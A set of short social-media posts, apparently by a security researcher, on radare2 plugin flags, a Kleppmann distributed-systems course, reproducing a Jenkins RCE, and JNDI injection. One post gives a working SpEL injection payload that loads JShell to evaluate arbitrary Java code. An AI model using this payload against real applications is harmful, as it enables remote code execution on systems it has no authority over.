In r2, each letter have a meaning. Today we are going to explain the ‘L’, which is used to list plugins: r2 -L: io plugins rasm2 -L: asm plugins rabin2 -L: bin plugins r2 -qcLc — : core plugins …

great job ~~~

SpEL Injection payload using JShell: T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

DDIA 作者 Martin Kleppmann 关于分布式系统的公开课，质量非常高。涉及到的主题有CAP理论、拜占庭将军问题、RPC、分布式系统逻辑时钟、容错、Raft、分布式事务、最终一致性、CRDT、广播算法等，共不到7小时的时长。 youtube.com/playlist?list=…

drops.wooyun.org/papers/17716 Jenkins RCE 2(CVE-2016-0788)这个洞 跟着学习调通了，吼吼~

虽然09年就公开了，但是get了新姿势还是很开心。纪录一下

JNDI注入RCE，最近好闲啊，居然有时间看那么长的paper